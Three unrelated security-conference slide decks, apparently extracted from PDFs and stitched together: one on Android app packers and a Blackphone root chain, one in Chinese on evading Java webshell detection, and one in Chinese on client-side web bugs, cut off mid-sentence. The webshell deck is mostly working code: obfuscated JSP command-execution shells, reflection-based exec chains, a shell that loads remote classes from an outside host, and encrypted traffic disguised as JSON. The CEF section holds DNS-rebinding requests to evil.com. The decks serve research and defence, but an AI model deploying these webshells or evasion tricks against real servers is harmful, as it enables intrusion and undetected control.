 • Multiple iterations and rebrandings • DexCrypt / APKProtect (Lite, PC, Advanced) ! • “Appears” active
 • Anti-debug
 • Anti-decompile
 • Almost like a packer
 • String encryption ! • Cost: $Free - $Expensive (Site non-functional) Java Code …. classes.dex file desktop tool (?) Stub application Mangled Code Protectors APKPROTECT • Tool mangles original code • Modifies entry point to loader stub • Prevents static analysis
 • During runtime loader stub is executed • Performs anti-emulation • Performs anti-debugging • Fixes broken code in memory ! <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" package="tyuyu.trurtyr.rgreuyt4" > <uses-permission android:name="android.permission.SEND_SMS"> … <application android:theme="@7F070001" android:label="@7F060000" android:icon="@7F020000" android:name="APKPMainAPP11177" android:allowBackup="true" > Injected entrypoint inside
 chargeware/malware sample Dalvik stub code, calling native stub Mangled code as seen during static analysis Protectors APKPROTECT 1. Dalvik Optimizes the Dex file into memory, ignoring “bad” parts 2. Upon execution Dalvik code initiates, calls the native code 3. Native code fixes Odex in memory 4. Execution continues as normal JNI_onLoad { ptrace(PTRACE_TRACEME, 0, NULL, NULL) //anti-debug if(!find_odex_file()) // anti-analysis create_infinitely_sleeping_thread();
 if(find_qemud_process()) // anti-emulation create_infinitely_sleeping_thread(); patch_odex(); return JNI_VERSION_1_6; } find_qemud_process() { for(int i = 0; i < 0x65; i++) if( hash(read(“/proc/%d/cmdline”, i)) == hash(“/system/bin/qemud”)) return true; return false; } Protectors APKPROTECT APK Native Lib Mangled Code Dex File Memory Native Lib Patched/Fixed Code Optimized
 Dex File Run once just steal
 fixed odex from memory • Winning is easy!
 • Avoid using QEMU or use
 LD_PRELOAD hack released
 with talk (nerf strlen() when
 assessing /system/bin/qemud)
 • Attach to cloned process
 (no ptrace worries)
 • Dump odex, de-odex with baksmali
 • Reverse modified Base64 + DES string
 encryption
 • Have the original code! Static Analysis After running Protectors APKPROTECT • Awesome concept and fun to reverse!
 • Slight file size increase
 • Prevents easily static analysis
 • Interesting techniques to detect analysis (though not awesome)
 • “Hard” once, easy afterwards
 • Easily automated to unprotect
 • Still has string encryption (similar to DexGuard/Allitori) afterwards
 • Hacker Protection Factor 3 PACKERS Packers HOSEDEX2JAR • “POC” Packer
 • Not viable for real use
 • Appears defunct
 • Near zero ITW samples
 • Mimics “Dexception” attack from Dex Education 101
 • Cost: Free Java Code …. classes.dex file Easiest attack
 surface Cloud Service Stub application Encrypted code
 (classes.dex) Packers HOSEDEX2JAR • Encrypts and injects dex file into
 dex header (deception)
 • Very easy to spot
 • Very easy to decrypt - just use dex2jar ;) ! (010Editor colorized DEX Template) modified
 header size modified
 header size value encrypted dex Packers HOSEDEX2JAR APK Injected Code Stub dex File Memory Injected Code Optimized
 Dex File Run static tool here • On execution loader stub decrypts
 in memory and dumps to file system
 • Loader stub acts as proxy and passes
 events to the Dex file on file system using
 a DexClassLoader
 • Static unpacker (wrapping stub code with
 dex2jar output) available;
 http://github.com/strazzere/dehoser/ Static Analysis After running File System Decrypted
 Dex File Just grab during dynamic run here Packers HOSEDEX2JAR • Simple POC
 • Slight file size increase
 • Attempts to prevent static analysis - sort of works
 • Lots of crashing
 • Easily automated to unpack
 • Easy to reverse, good for learning
 • Hacker Protection Factor 0.5 Packers PANGXIE • Chinese Packer
 • Anti-debug
 • Anti-tamper
 • ???
 • Appears to be defunct product
 • Little usage/samples ITW
 • Cost: ??? Java Code …. classes.dex file Easiest attack
 surface ??? Stub application Encrypted code
 (classes.dex) Packers PANGXIE • Encrypts dex file and bundled as asset in APK
 • Very easy to spot (logcat’s too much information)
 • Dalvik calls JNI layer to verify and decrypt
 • Easy to reverse (both dalvik and native)
 excellent for beginners to Android and packers ! APK First Execution? Yes JNI verify
 integrity No Decrypt
 Dex to filesystem Proxy over DexClassLoader Packers PANGXIE • AES “used” … only for digest
 verification
 • Easily automated…
 0x54 always the “key”
 • Or dynamically grab the
 /data/data/%package_name%
 /app_dex folder ! Packers PANGXIE • Or dynamically grab the
 /data/data/%package_name%/app_dex folder ! Packers PANGXIE • Slight file size increase
 • Prevents static analysis - though easy to identify
 • Uses static 1 byte key for encryption
 • Easily automated to unpack
 • Very easy to reverse, good for learning
 • Good example of an unobfuscated packer stub for cloning
 • Hacker Protection Factor 1.5 Packers BANGCLE • Anti-debugging
 • Anti-tamper
 • Anti-decompilation
 • Anti-runtime injection
 • Online only service • “APKs checked for malware before
 packaging”
 • Generically detected by some AVs due to risk ! • Cost: ~$10k ! • “No one has done it before” Java Code …. classes.dex file Easiest attack
 surface App Approval
 &
 Malware Check Cloud Service Stub application Encrypted code
 (classes.dex) Packers BANGCLE • Dalvik execution talks launches JNI
 • JNI launches a secondary process
 • Chatter over PTRACE between the two processes
 • Newest process decrypts Dex into memory
 • Original Dalvik code proxies everything to decrypted
 Dex Dalvik First Execution? Yes JNI anti-debug
 launch separate
 process No Decrypt Dex
 into memory
 set up proxy
 Proxy over DexClassLoader ptrace chatter ptrace chatter Packers BANGCLE Original Dalvik process Two forked native processes Cloned processes that are attachable Packers BANGCLE Still encrypted Always the decrypted memory region Packers BANGCLE • Well written, lots of anti-* tricks
 • Seems to be well supported and active on development
 • Does a decent job at online screening - no tool released for download • Though things clearly to slip through
 • Not impossible to reverse and re-bundle packages
 • Current weakness (for easy runtime unpacking) is having a predictable
 unpacked memory location
 • Hacker Protect Factor 5 NOW WHAT? CODE! • Open-sourced unpacker • https://github.com/strazzere/android-unpacker (push after this talk) • Bangcle • Most popular/highest prevalence • Plenty of malicious/grey area samples • APKProtect • High prevalence and graining more traction (offline tools) • Malicious/grey area samples • More packers added as malware/prevalence emerges
 • Slim anti-detection code • APKProtect LD_PRELOAD module (same repo as android-unpacker) • https://github.com/strazzere/android-lkms
 • Malicious samples uploaded soon to ContagioMinidump (mobile malware) • http://contagiominidump.blogspot.com/ BLACKPHONE • ROOTED!
 • Three stages of exploits
 • Requires user interaction What you’re actually here for… BLACKPHONE • Stage 1
 • “turned ADB off because it causes a software
 bug and potentially impacts the
 user experience"
 • Removed UI accessibility from settings APK
 • Just send an intent to pop the menu Enabled ADB ComponentName intentComponent = new ComponentName("com.android.settings", "com.android.settings.Settings$DevelopmentSettingsActivity"); Intent mainIntent = new Intent("android.intent.action.MAIN"); mainIntent.setComponent(intentComponent); startActivity(mainIntent); BLACKPHONE • Stage 2
 • Fixed in latest OTA
 (vuln out of
 box though)
 • System privledged
 APK w/ debuggable
 set to true
 • Allows us to get
 System UID
 • Enlarge attack surface
 • http://www.saurik.com/id/17 exploit how-to Get System UID BLACKPHONE • Stage 3
 • There are some out there for Android
 • One has been used here
 • Sorry - cannot currently disclose! System to root BLACKPHONE DEMO • Stage 1 - Enable ADB
 • Stage 2 - Get System UID
 • Stage 3 - System to root 08.10.2014 THANKS! TIM “DIFF” STRAZZERE JON “JUSTIN CASE” SAWYER Defcon 22 @TIMSTRAZZ @TEAMANDIRC Join use on Freenode on #droidsec ! Good people to follow on twitter for
 Android/reversing/malware/hacking information; @jduck @Fuzion24 @Gunther_AR @caleb_fenton @thomas_cannon
 @droidsec @marcwrogers @osxreverser @cryptax @pof @quine
 @0xroot @Xylitol @djbliss @saurik @collinrm @snare
 #MalwareMustDie
pdf
刘镇东(yzddMr6),阿里云安全工程师 ØAntSword开发组核心成员,开源工具As-Exploits、WebCrack、webshell-venom作者 Ø目前主要从事Webshell攻防研究,以及阿里云恶意文本检测引擎的建设 ØGithub: yzddMr6 ØBlog: yzddmr6.com ØCTF: L3H_Sec • Webshell通常是打开权限大门的第一块“破门砖” • Java Webshell在攻防演练中占据着重要的地位 • 随着各类防护设备不断升级,如何逃避检测成为攻击者最关心的问题 l Tomcat解析篇 l 危险类篇 l 流量对抗篇 令人头疼的编码 Tomcat解析篇 • Jsp中可以⽤Unicode或者变形Unicode(\uuuuuuxxxx)这种格式来对恶意代码进⾏混淆 • 如果Webshell检测引擎没有对其进行正确的解码处理,就会被直接“降维打击”,产生绕过 • 这种简单、通用的混淆方式已经被攻击者广泛使用,大部分安全设备也已经支持检测 <% Runtime.getRuntim\u0065().\uuuuu0065xec(request.getParameter("cmd")); %> <% \uuuuuuuuu0052\uuuuuuuuuuuuu0075\uuuu006e\uu0074\u0069\u006d\u0065\u002e\u0067 \u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065 \u0078\u0065\u0063\u0028\u0072\u0065\u0071\uuuuuuu0075\u0065\u0073\u0074\uuuuu 002e\u0067\u0065\u0074\u0050\u0061\uuuu0072\u0061\u006d\u0065\u0074\u0065\u007 2\u0028\u0022\u0063\u006d\u0064\uu0022\u0029\u0029\u003b %> Q:为什么支持Unicode的写法? A:Javac/ecj在底层解析字符的时候支持Unicode编码 Q:为什么支持\uuuuu这种格式? A:解析过程中只要‘\’的下一个字符是‘u’ 编译器就会一直继续循环,读取下一个字符 do { bp++; //读取下一个字符 ch = buf[bp]; } while (ch == ‘u’);//只要‘\’的下一个字符是u,就会一直继续循环 • Javac:com.sun.tools.javac.parser.UnicodeReader#convertUnicode • ecj:org.eclipse.jdt.internal.compiler.parser.Scanner#getNextUnicodeChar 这种简单、有效的通杀混淆方式让我们着迷,同时也引起我们的思考: 是否还存在其他的“降维打击”方式? • Tomcat内部支持了很多小众的字符集编码 • 如果检测引擎不支持这些字符集,对其而言就是一堆无法识别的乱码 • 用这些特殊的字符集来构造Webshell,就可以实现“降维打击” Tomcat对于编码的解析过程 org.apache.jasper.compiler.ParserController#doParse (开始页面解析) org.apache.jasper.compiler.ParserController #determineSyntaxAndEncoding (分析文件编码) org.apache.jasper.compiler.EncodingDetector (Jspx: 通过BOM头判断编码) org.apache.jasper.compiler.ParserController #getPageEncodingForJspSyntax (Jsp 从声明中提取编码类型) UTF-8 (默认值) ISO-8859-1 (默认值) Encoding b0 b1 b2 b3 UTF-16LE 0xFF 0xFE * * UTF-16LE 0x3C 0x00 0x3F 0x00 UTF-16BE 0xFE 0xFF * * UTF-16BE 0x00 0x3C 0x00 0x3F ISO-10646- UCS-4 0x00 0x00 0x00 0x3C ISO-10646- UCS-4 0x3C 0x00 0x00 0x00 ISO-10646- UCS-4 0x00 0x00 0x3C 0x00 ISO-10646- UCS-4 0x00 0x3C 0x00 0x00 CP037 0x4C 0x6F 0xA7 0x94 编码前 <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"> <jsp:scriptlet> Runtime.getRuntime().exec(request.getParameter("cmd")); </jsp:scriptlet> </jsp:root> 编码后 • 除了通过Bom头可以识别的几种内置编码以外,在Jsp中还可以通过标签来 显式声明指定的编码,大大扩展了我们可利用编码的范围 • Jsp中声明编码的四种形式 1. <%@ page contentType="charset=cp037" %> 2. <%@ page pageEncoding="cp037" %> 3. <jsp:directive.page contentType="charset=cp037"/> 4. <jsp:directive.page pageEncoding="cp037"/> Q:Tomcat到底支持多少编码? A:JDK8+Tomcat8.5下底层共支持900多种编码 Q:有多少编码可以被利用? A:我们对这些编码进行逐个分析,并进行归一化处理, 共发现十余种可以被用来构造混淆Webshell的编码 • 单字节编码:cp037、cp290等 • 2或4字节编码:utf-16le, utf-16be等 • 4字节编码:utf-32le、utf-32be等 <%Runtime.getRuntime().exec(request.getParameter("cmd"));%> 原始样本 编码后 可以被Tomcat解析执行 Java的字符集是支持别名的,也就是说以下这 些alias都等价于cp290,都可以用于Webshell 的变形: • ibm290 • ibm-290 • csIBM290 • EBCDIC-JP-kana • 290 • 在对JDK底层支持编码的分析过程中,我们发现了一个潜藏于JDK中数十年的编码转换BUG • 该BUG在最新的JDK19中仍可复现,提交给JDK官方后,截至目前已经修复完毕 神奇的标签操作 Tomcat解析篇 • Jsp在被Tomcat加载到内存里之前,还要经过一层标签解析转换的阶段 • 利用标签解析转换的特性,可以构造出一些几乎不可读的混淆样本 • 如果检测引擎不能正确处理,我们就可以实现“降维打击” Jsp被加载到内存里主要分为三个阶段: 从Jsp文件中提取 所有需要的信息 将信息填充到 Java模板文件中 编译Java文件 生成class并加载 org.apache.jasper.compiler.Compiler #generateJava org.apache.jasper.compiler.Compiler #generateClass 关注重点 • Jsp虽然不符合语法结构,但是嵌套后的Java文件前 后括号闭合了,也就可以被正常的编译解析 • Jsp在处理setProperty,useBean等属性 的时候没有对名称进行转义,导致在渲染模 板的时候可以代码逃逸 • 插进去的文本可以利用前后注释闭合,打 破检测引擎的语法结构分析 <jsp:setProperty name="\" + new java.util.function.Supplier<String>() {public String get() { try{String s = request.getParameter(\"cmd\");Process process = new ProcessBuilder().command(s.split(\" \")).start();} catch (Exception e) { e.printStackTrace();}return \"\";}}.get() + \"" property="*"/> org.apache.jasper.runtime.JspRuntimeLibrary.introspect(_jspx_page_context.f indAttribute("" + new java.util.function.Supplier<String>() {public String get() { try{String s = request.getParameter("cmd");Process process = new ProcessBuilder().command(s.split(" ")).start();} catch (Exception e) { e.printStackTrace();}return "";}}.get() + ""), request); Jsp 渲染为Java后 TIPS:文件上传场景可用于绕过对<%等Jsp标签的过滤 <jsp:useBean id="a;java.lang.Runtime.getRuntime().exec(request.getParameter(\"cmd\ "));/*" type="java.lang.Class" beanName=";"></jsp:useBean> <jsp:setProperty name="\"*/ //" property="*"></jsp:setProperty> java.lang.Class a;java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));/* = null; a;java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));/* = (java.lang.Class) _jspx_page_context.getAttribute("a;java.lang.Runtime.getRuntime().exec(request.getParameter(\"cmd\"));/*", javax.servlet.jsp.PageContext.PAGE_SCOPE); if (a;java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));/* == null){...} out.write('\n'); org.apache.jasper.runtime.JspRuntimeLibrary.introspect(_jspx_page_context.findAttribute(""*/ //"), request); Jsp 渲染为Java后 • Tomcat在识别Jspx文件后,会调用XML解析器来解析标签 • 可以利用XML字符串相关特性来实现绕过:HTML实体编码(hex、dec)、CDATA、... <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"> <jsp:scriptlet> <![CDATA[Runti]]>me.getRuntime().exec(request.getParameter("test")); </jsp:scriptlet> </jsp:root> 第一层:反射方法 危险类篇 • Java是一门面向对象的语言,在Java的底层存 在着各种复杂的调用 • 对于任意一个可以用来RCE的类,我们可以查 找他的底层实现类跟上层包装类 • 调用一个不存在在黑名单里面的类方法,就可 以绕过检测引擎 java.lang.Runtime#exec -> • sun.net.www.MimeLauncher#run • sun.security.krb5.internal.ccache.FileCredentialsCache#exec • com.sun.corba.se.impl.activation.ServerTableEntry#verify 思考 • 大多数函数方法修饰符是非Public的,会有比 较明显的反射调用函数的特征,增加被发现的 风险 • 除了直接的Runtime#exec以外,是否还可以 利用其他的命令执行类? 任意命令 执行 JNI调用 JNDI注入 Js引擎 EL表达式 反射 BCEL加载 字节码 Jshell 第二层:反射属性 危险类篇 为什么要反射类属性? • 有些可能导致命令执行函数的参数是来自于类属性 • 反射修改类属性比反射调用函数特征更弱,更为隐蔽 • 我们可以通过反射修改类属性来完成任意命令执行 • sun.print.UnixPrintServiceLookup#getDefaultPrintService (Public) • sun.print.UnixPrintServiceLookup#getDefaultPrinterNameBSD (Private) • static sun.print.UnixPrintServiceLookup#execCmd (Private) • java.lang.Runtime#exec String[] lpcFirstCom = new String[]{"/usr/sbin/lpc status | grep : | sed -ne '1,1 s/://p'", "/usr/sbin/lpc status | grep -E '^[ 0-9a-zA-Z_-]*@' | awk -F'@' '{print $1}'"}; 反射替换 String[] lpcFirstCom = new String[]{"open –a Calculator"}; Field pollServices = UnixPrintServiceLookup.class.getDeclaredField("pollServices"); pollServices.setAccessible(true); pollServices.set(null, false);//跳过判断限制 Field libFound = CUPSPrinter.class.getDeclaredField("libFound"); libFound.setAccessible(true); libFound.set(null, false); //跳过判断限制 UnixPrintServiceLookup lookup = new UnixPrintServiceLookup(); Field osname = UnixPrintServiceLookup.class.getDeclaredField("osname"); osname.setAccessible(true); osname.set(null, "Linux"); //跳过判断限制 Field lpcFirstCom = UnixPrintServiceLookup.class.getDeclaredField("lpcFirstCom"); lpcFirstCom.setAccessible(true); lpcFirstCom.set(lookup, new String[]{"open -a Calculator"}); //要执行的恶意命令 lookup.getDefaultPrintService(); com.sun.javafx.property.PropertyReference#set private void reflect() { if (!reflected) { reflected = true; try { ... // 反射寻找setter跟getter方法 final Method m = clazz.getMethod(setterName, type); if (Modifier.isPublic(m.getModifiers())) { setter = m; } } } public void set(Object bean, T value) { if (!isWritable()) throw new IllegalStateException( "Cannot write to readonly property " + name); assert setter != null; try { MethodUtil.invoke(setter, bean, new Object[] {value}); } catch (Exception ex) { throw new RuntimeException(ex); } } public boolean isWritable() { reflect(); return setter != null;} com.sun.javafx.property.PropertyReference#set PropertyReference reference = new PropertyReference(String.class, "test"); Field reflected = PropertyReference.class.getDeclaredField("reflected"); reflected.setAccessible(true); reflected.set(reference, true);//跳过判断限制 Method method = Runtime.class.getDeclaredMethod("exec", String[].class); Field setter = PropertyReference.class.getDeclaredField("setter"); setter.setAccessible(true); setter.set(reference, method);//设置恶意方法 reference.set(Runtime.getRuntime(), new String[]{“bash”, “-c”, “open -a Calculator”});//要执行的恶意命令 第三层:无需反射 危险类篇 • 部分防守方做了一些变态的策略,反射函数跟反射属性都会被检测 • 我们可以找到一些可以直接实例化调用,且可以造成任意代码执行的类 • 仅利用正常的函数调用即可完成命令执行的目的,在文本层面毫无特征可言 <% JARSoundbankReader reader = new JARSoundbankReader(); URL url = new URL("http://xx.xx.xx.xx/"); reader.getSoundbank(url); %> • 判断首页是否是一个ZIP文件 • 获取目录下META-INF/services/javax.sound.midi.Soundbank • 读取文件,获取全限定类名 • 将URL添加到创建的URLClassLoader中,查找类名并进行实例化 任意代码执行 <% JndiLoginModule module = new JndiLoginModule(); Map<String, String> map = new HashMap<>(); map.put(module.USER_PROVIDER, request.getParameter("provider")); map.put(module.GROUP_PROVIDER, "group"); JAASRealm realm = new JAASRealm(); realm.setContainer(new StandardContext()); module.initialize(null, new JAASCallbackHandler(realm, "user", "pass"), null, map); module.login(); %> • com.sun.security.auth.module.JndiLoginModule#login • com.sun.security.auth.module.JndiLoginModule#attemptAuthentication • javax.naming.InitialContext#lookup • 这些利用Java特性构造的Webshell,让安全人员也很难一眼也看出来有没有问题 • 通过自动化手段,我们发现JDK+Tomcat中还存在着很多类似的构造利用... 流量对抗篇 byte[] requestData = request.getParameter("passLine").getBytes(); requestData = unHex(requestData); //hex解码 requestData = aes128(requestData, 2); //aes128解码 Class payloadClass = null; if ((payloadClass = (Class) application.getAttribute("randomStr")) == null) { application.setAttribute("randomStr", new Loader(getClass().getClassLoader()).loadClass(requestData)); } else { java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = payloadClass.newInstance(); f.equals(request);f.equals(arrOut);f.equals(requestData);f.toString(); byte[] responseData = arrOut.toByteArray();arrOut.reset(); responseData = base64Encode(responseData); arrOut.write(base64Decode(“eyJkYXRhIjo=”.getBytes()));//解码后 {"data": arrOut.write(responseData); arrOut.write(base64Decode(“IiwibWVzc2FnZSI6b... ".getBytes())); //解码后 ","message":null,"sessionTimeOut":false,"success":true,"token":null,"total ":0} responseData = arrOut.toByteArray(); response.setStatus(200); response.setHeader("Content-Type", "application/json;charset=UTF-8"); //伪装成json传输 response.getOutputStream().write(responseData); } • 基于哥斯拉二次开发 • 流量上采用HEX+128AES强加密 • 伪装成json传输 • 基于冰蝎二次修改 • 加密方式AES>DES • 多条件判断,防止被骑马 • 修改默认握手方式为Cookie传递秘钥 • 继承子类调用defineClass->反射调 用defineClass • 规律:不管是一般的,还是魔改的WebShell工具 都是通过POST传输 • 原因:使用defineClass方式的Webshell Payload过于巨大,超过了默认的Tomcat Header 大小(8024字节),所以只能使用POST传输 • 结果:流量侧检测设备都是重点监控POST请求, 对其进行“特殊关照” POST /behinder.jsp HTTP/1.1 Host: xxx Content-Length: 11480 Cookie: JSESSIONID=xxx; Connection: close POST /godzilla.jsp HTTP/1.1 Host: xxx Content-Type: application/x-www-form-urlencoded Content-Length: 49341 Connection: close POST /antSword.jsp HTTP/1.1 Host: xxx Content-Type: application/x-www-form-urlencoded Content-Length: 7438 Connection: close • 本人设计的基于JS引擎的Webshell Payload非常小,约 为2KB,刚好可以放到Header中 • 意味着我们可以通过GET等形式进行通信,并且可以把 Payload放到Header中的任意字段,更为隐蔽 GET /antjs.jsp?mr6={PAYLOAD} HTTP/1.1 Host: xxx Accept-Encoding: gzip, deflate User-Agent: {PAYLOAD} Cookie: token={PAYLOAD} Connection: close <% javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js"); engine.put("request", request); engine.put("response", response); engine.eval(request.getParameter("mr6")); %> Shell原型 "use strict"; module.exports = (pwd, data, ext = {}) => { ext.opts.httpConf.headers["Cookie"] = `${pwd}=` + Buffer.from(data["_"]).toString("base64"); delete data["_"]; return data; }; • 在蚁剑中可以通过编码器+修改后端发 包模块实现 • 蓝队经常通过HTTP响应头以及返回页面信息来过滤扫描流量,以及判断是否请求成功 • 修改响应头,将Payload回显编码后放到WAF拦截页面 • 伪装成报错页面 • 页面上的时间会动态刷新 • 安骑士Webshell检测系统在不断对抗的过程中,逐步发展出了静态规则+动态沙箱引擎+模拟污点引擎 +机器学习等多种综合手段,并会不受单一维度的绕过影响 • 目前安骑士已经对外开放Webshell的检测能力,支持API化、SDK化,方便各种环境下接入使用 • 欢迎各位小伙伴们前来测试体验,反馈并提出宝贵意见,测试地址:https://ti.aliyun.com
pdf
客户端 Web 漏洞案例浅析 2021/6/26 成都站 周智 深信服安全 技术沙⻰ ⼤纲 • 总结⼀些难以归类的客户端混合漏洞案例 • CEF DNS rebinding 通⽤漏洞 • CVE-2020-9860: macOS HelpViewer XSS • 某 iOS 应⽤跨 App 获取 cookie • iOS WebView UXSS • 某 Windows 视频客户端远程 DLL 注⼊ CEF DNS rebinding 通⽤漏洞 CEF • CEF 全称 Chromium Embedded Framework • 在桌⾯应⽤中嵌⼊ Chromium 内 核的 WebView 控件 DNS rebinding • ⼀种利⽤ DNS 域名解析绕过同源策略的⽅法 • 通过对同⼀域名前后返回不同地址 • ip1 的⽹⻚可以借受害者浏览器访问 ip2 的 http 服务 恶意⽹⻚ 内⽹ http 服务 evil.rebind.com 123.123.123.123 evil.rebind.com 192.168.0.1 CEF 远程调试 • 部分桌⾯客户端误将 CEF 远程调试打开 • 即 Chrome Remote Debugging 协议,基于 HTTP 和 WebSocket • 攻击者使⽤ DNS rebinding 可以直接访问 127.0.0.1 的 http 响应 • 获得 token 之后⽤ WebSocket 完全接管⽹⻚内容,进⼀步 RCE 等 • CEF 最新版本已经修复 Chrome 远程调试⽀持 $ curl -v localhost:12345/json -H "Host: evil.com:12345" * Trying 127.0.0.1... * TCP_NODELAY set * Connected to localhost (127.0.0.1) port 12345 (#0) > GET /json HTTP/1.1 > Host: evil.com:12345 > User-Agent: curl/7.58.0 > Accept: */* > < HTTP/1.1 200 OK < Content-Length:912 < Content-Type:application/json; charset=UTF-8 < [{ "description": "", "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:12345/devtools/page/ 51CC21EE-2FC2-4434-923A-68E7852665BA", "id": "51CC21EE-2FC2-4434-923A-68E7852665BA", "title": "example", "type": "page", "url": "https://example.com/", "webSocketDebuggerUrl": "ws://localhost:12345/devtools/page/ 51CC21EE-2FC2-4434-923A-68E7852665BA" }] $ curl -v localhost:12345/json -H "Host: evil.com:12345" * Trying 127.0.0.1... * TCP_NODELAY set * Connected to localhost (127.0.0.1) port 12345 (#0) > GET /json HTTP/1.1 > Host: evil.com:12345 > User-Agent: curl/7.58.0 > Accept: */* > < HTTP/1.1 200 OK < Content-Length:912 < Content-Type:application/json; charset=UTF-8 < [{ "description": "", "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:12345/devtools/page/ 51CC21EE-2FC2-4434-923A-68E7852665BA", "id": "51CC21EE-2FC2-4434-923A-68E7852665BA", "title": "example", "type": "page", "url": "https://example.com/", "webSocketDebuggerUrl": "ws://localhost:12345/devtools/page/ 51CC21EE-2FC2-4434-923A-68E7852665BA" }] $ curl -v localhost:12345/json -H "Host: evil.com:12345" * Trying 127.0.0.1... * TCP_NODELAY set * Connected to localhost (127.0.0.1) port 12345 (#0) > GET /json HTTP/1.1 > Host: evil.com:12345 > User-Agent: curl/7.58.0 > Accept: */* > < HTTP/1.1 200 OK < Content-Length:912 < Content-Type:application/json; charset=UTF-8 < [{ "description": "", "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:12345/devtools/page/ 51CC21EE-2FC2-4434-923A-68E7852665BA", "id": "51CC21EE-2FC2-4434-923A-68E7852665BA", "title": "example", "type": "page", "url": "https://example.com/", "webSocketDebuggerUrl": "ws://localhost:12345/devtools/page/ 51CC21EE-2FC2-4434-923A-68E7852665BA" }] 调试协议 • Chrome DevTools Protocol 整个基于 WebSocket • https://chromedevtools.github.io/devtools-protocol/ • WebSocket 默认不限制同源策略 • evil.com 的 js 只需要拿到随机的 UUID 就可以调试本地客户端的 Web 消息格式 • 基于 JSON stringify • ⽅法名,id 和参数 • id 是⼀个⾃增的整数,区分消息的序列和判断某个消息的响应 let counter = 13371337; const send = (method, params) => new Promise((resolve, reject) => { const id = counter++; const recv = ({ data }) => { const parsed = JSON.parse(data); if (parsed.id === id) { resolve(parsed.result); ws.removeEventListener('message', recv); } else { log('message: ', data); } }; ws.addEventListener('message', recv); ws.send(JSON.stringify({ id, method, params })); }); const remoteDoc = await send('DOM.getDocument'); 脚本注⼊ • Runtime.evaluate ⽅法可以注⼊ js • 对于⽼的 Chromium 版本,该命令存在失效问题 • 可以使⽤ DOM.setOuterHTML 操作 DOM 注⼊脚本 信息泄漏 • 获取 Cookie:Network.getAllCookies • Chrome 内核⽀持列⽬录 • Page.navigate 访问 file://c/users • 查询 DOM 获取⽂件列表和进⼀步读⽂件 • 在客户端当中展示钓⻥⻚⾯ 转为 RCE • CEF 通常⽐ Chrome 落后⼀些(⼤量)版本 • 找公开的 v8 漏洞利⽤进⾏适配 • 使⽤ CEF 的客户端通常是 hybrid 应⽤ • window.external 存在 native 接⼝ • native 接⼝可能存在逻辑代码执⾏问题 • ⽂件下载、运⾏外部程序等 • 需要额外的逆向⼯作 案例 • ⼤量客户端使⽤同⼀框架导致 CEF dns rebinding • WebView 业务代码处理导航事件⽤了 ShellExecuteW • 简单使⽤ window.open 就能弹计算器 window.open('file:///C:/windows/system32/calc.exe') • 组合其他接⼝下载执⾏任意命令 • VSCode 曾出现类似漏洞 • Electron 可以直接调⽤ node.js 运⾏时执⾏任意本地代码 修复 • ⽣产环境中切忌启⽤调试功能 • nodejs, Electron 和 CEF 在近期的版本中修复了 DNS rebinding • DNS rebinding 需要恶意域名配合 • 当 Host 头异常的时候终⽌访问请求 macOS HelpViewer XSS URL Scheme • 桌⾯和移动操作系统从 Web 拉起本地应⽤的接⼝ • 远程攻击⾯ • 通常浏览器切换前会弹出提示 • macOS Safari 硬编码了⼀部分 URL scheme 直接放⾏ signed __int64 __cdecl -[ExternalURLNavigationHandler _URLTypeForURL:] (ExternalURLNavigationHandler *self, SEL a2, id url) { NSString *scheme = [url scheme]; if ([scheme safari_isCaseInsensitiveEqualToString:@"mailto"]) { status = 1LL; } else { if ( !urlSchemesToOpenWithoutPrompting(void)::whitelistedURLSchemes ) { NSArray *arr = [NSArray arrayWithObjects: @"itms-books", @"itms-bookss", @"ibooks", @"macappstore", @"macappstores", @"radr", @"radar", @"udoc", @"ts", @"st", @"x-radar", @"icloud-sharing", @"help", @"x-apple-helpbasic" count:19]; urlSchemesToOpenWithoutPrompting(void)::whitelistedURLSchemes = [NSSet setWithArray:arr]; } HelpViewer HelpViewer • HelpViewer 的 help: 协议在信任列表 • 已有历史漏洞通过⼀个 XSS 就可以远程执⾏代码 • 可惜没修复完 CVE-2020-9860 HelpViewer 沙箱逃逸 • 导出协议除了 help:// 之外,还有 x-apple-helpbasic:// 也被信任 • 协议格式为紧接任意 *.apple.com 的⻚⾯ • x-apple-helpbasic://www.apple.com/aaa • 将协议 scheme 替换为 https 然后在 HelpViewer 中打开 • https://www.apple.com/aaa • 找⼀个 apple.com 的 open redirect 或者 xss? Apple web server notifications This article provides credit to people who have reported potential security issues in Apple's web servers. Credits 2021-03-09 swagger.organicfruitapps.com A server configuration issue was addressed. We would like to acknowledge Joseph Thacker for reporting this issue. 2021-03-09 pd-mediaauth.apple.com A server configuration issue was addressed. We would like to acknowledge Ahmed (@4hm8d) for reporting this issue. 2021-03-08 myevents-rno.apple.com https://support.apple.com/en-is/HT201536 Apple 历史 Web 漏洞致谢列表,可以搜集⼤量⼦域名 24⼩时 ⼿⼯找⼀个 xss • 没有 xray 和任何扫描器 • ⼿⼯查看源⽂件审计和测试 // see if an alternate content set has been passed in if (controller.queryParams.contentURL) { controller.queryParams.contentURL += (controller.queryParams.contentURL.charAt(controller.queryParams.contentURL.length) == "/" ? "" : "/"); // check whether there is a loadable Info.json file at the passed-in location $.ajax({ type: "HEAD", async: false, crossDomain: false, url: controller.queryParams.contentURL + "Info.json", success: function () { controller.contentURL = controller.queryParams.contentURL; }, error: function () { console.log("Could not load " + controller.queryParams.contentURL); } }); } dataController.loadData = function () { var folder = localizationController.localePath(); // read in content.json $.ajax({ url: folder + "content.json", dataType: "json", async: false, crossDomain: false, success: function (json, status, xhr) { jsonStructure = json[0]; DOM XSS • 根据 contentURL 拼接 Info.plist 的地址 • 没有任何域名限制,只需要⽀持 CORS • Info.plist 为⼀个 JSON array,标记⽂档可⽤的 locale • 根据语⾔载⼊国际化的数据 content.json • 例如 en,则继续载⼊ /English.lproj/content.json // this is a content page var targetIDContent = 